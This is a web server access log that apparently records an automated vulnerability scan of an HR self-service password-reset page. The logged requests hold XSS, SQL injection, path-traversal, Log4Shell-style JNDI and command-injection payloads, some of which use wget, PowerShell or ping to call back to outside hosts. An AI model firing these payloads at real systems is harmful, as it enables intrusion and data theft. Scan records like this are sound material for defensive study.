/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS\"'Aab\"onmouseover=\"alert(20)\"ab'\"A HTTP/1.1" 200 6734 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:16 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS\"'Aab\"onmouseover=\"alert(20)\"ab'\"A HTTP/1.1" 200 6734 100.64.0.1 - - [05/Dec/2025:21:53:17 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:17 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:17 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:17 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:17 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframeWFXSSProbe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:17 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframeWFXSSProbe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:53:17 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:17 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:17 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22%2F%3E%3Cimg+src%3Dx+onerror%3Dalert%28266%29%3E HTTP/1.1" 200 6722 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:17 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22%2F%3E%3Cimg+src%3Dx+onerror%3Dalert%28266%29%3E HTTP/1.1" 200 6722 100.64.0.1 - - [05/Dec/2025:21:53:18 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%3Bpowershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D267&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:18 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%3Bpowershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D267&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:19 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:19 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:53:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd%3Bpowershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D267&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:18 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:18 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:18 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd+%3B+ping+-c+1+v3-ping-268-760c2ba4-cacd-4081-91e1-900d04dcbef7.adns.appsechcl.com&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:18 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd+%3B+ping+-c+1+v3-ping-268-760c2ba4-cacd-4081-91e1-900d04dcbef7.adns.appsechcl.com&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd+%3B+ping+-c+1+v3-ping-268-760c2ba4-cacd-4081-91e1-900d04dcbef7.adns.appsechcl.com&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:18 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/boot.ini%00.html HTTP/1.1" 200 6723 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:18 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/boot.ini%00.html HTTP/1.1" 200 6723 100.64.0.1 - - [05/Dec/2025:21:53:18 +0800] "GET /ehr/ess/redirect.php?scriptname=${jndi:ldap://v3-ping-269-71f7e02d-b8a5-4946-9b78-4efb4ef39867.adns.appsechcl.com/foo}&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:18 +0800] "GET /ehr/ess/redirect.php?scriptname=${jndi:ldap://v3-ping-269-71f7e02d-b8a5-4946-9b78-4efb4ef39867.adns.appsechcl.com/foo}&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:20 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=${jndi:ldap://v3-ping-269-71f7e02d-b8a5-4946-9b78-4efb4ef39867.adns.appsechcl.com/foo}&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:20 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:18 +0800] "GET /ehr/ess/redirect.php?scriptname=%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cwinnt/win.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:18 +0800] "GET /ehr/ess/redirect.php?scriptname=%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cwinnt/win.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:20 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cwinnt/win.ini&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:20 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:18 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd+%7C%7C+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D270&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:18 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd+%7C%7C+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D270&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:18 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframeWFXSSProbe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:18 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:53:19 +0800] "GET /ehr/ess/redirect.php?scriptname=file://C:/windows/win.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:19 +0800] "GET /ehr/ess/redirect.php?scriptname=file://C:/windows/win.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:20 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd+%7C%7C+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D270&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:20 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:20 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=file://C:/windows/win.ini&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:20 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:19 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:19 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:19 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS\"/> HTTP/1.1" 200 6726 100.64.0.1 - - [05/Dec/2025:21:53:19 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS\"/> HTTP/1.1" 200 6726 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:19 +0800] "GET /ehr/ess/redirect.php?scriptname=/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini%00.html&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:19 +0800] "GET /ehr/ess/redirect.php?scriptname=/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini%00.html&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:19 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:19 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:20 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/winnt/win.ini%00.html HTTP/1.1" 200 6728 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:20 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/winnt/win.ini%00.html HTTP/1.1" 200 6728 100.64.0.1 - - [05/Dec/2025:21:53:21 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini%00.html&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:21 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:20 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:20 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:20 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:20 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:20 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:20 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:53:20 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:20 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:20 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%7C%7Cpowershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D272&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:20 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%7C%7Cpowershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D272&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd%7C%7Cpowershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D272&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:21 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22%2F%3E%3Csvg%2Fonload%3Dalert%28273%29+width%3D100%2F%3E HTTP/1.1" 200 6726 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:21 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22%2F%3E%3Csvg%2Fonload%3Dalert%28273%29+width%3D100%2F%3E HTTP/1.1" 200 6726 100.64.0.1 - - [05/Dec/2025:21:53:21 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:21 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:21 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd+%7C%7C+ping+-c+1+v3-ping-274-760c2ba4-cacd-4081-91e1-900d04dcbef7.adns.appsechcl.com&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:21 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd+%7C%7C+ping+-c+1+v3-ping-274-760c2ba4-cacd-4081-91e1-900d04dcbef7.adns.appsechcl.com&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd+%7C%7C+ping+-c+1+v3-ping-274-760c2ba4-cacd-4081-91e1-900d04dcbef7.adns.appsechcl.com&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:21 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/windows/win.ini%00.html HTTP/1.1" 200 6730 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:21 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/windows/win.ini%00.html HTTP/1.1" 200 6730 100.64.0.1 - - [05/Dec/2025:21:53:21 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:21 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:21 +0800] "GET /ehr/ess/redirect.php?scriptname=%24%7Bjndi%3Aldap%3A%2F%2Fv3-ping-275-71f7e02d-b8a5-4946-9b78-4efb4ef39867.adns.appsechcl.com%2Ffoo%7D&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:21 +0800] "GET /ehr/ess/redirect.php?scriptname=%24%7Bjndi%3Aldap%3A%2F%2Fv3-ping-275-71f7e02d-b8a5-4946-9b78-4efb4ef39867.adns.appsechcl.com%2Ffoo%7D&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:23 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=%24%7Bjndi%3Aldap%3A%2F%2Fv3-ping-275-71f7e02d-b8a5-4946-9b78-4efb4ef39867.adns.appsechcl.com%2Ffoo%7D&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:23 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:22 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%27+and+%27f%27%3D%27f%27+--+&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:22 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%27+and+%27f%27%3D%27f%27+--+&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:23 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd%27+and+%27f%27%3D%27f%27+--+&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:23 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:22 +0800] "GET /ehr/ess/redirect.php?scriptname=%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cwindows/win.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:22 +0800] "GET /ehr/ess/redirect.php?scriptname=%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cwindows/win.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:23 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:23 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:53:22 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd+%24%28wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D276%29&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:22 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd+%24%28wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D276%29&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:23 +0800] "GET /ehr/ess HTTP/1.1" 301 249 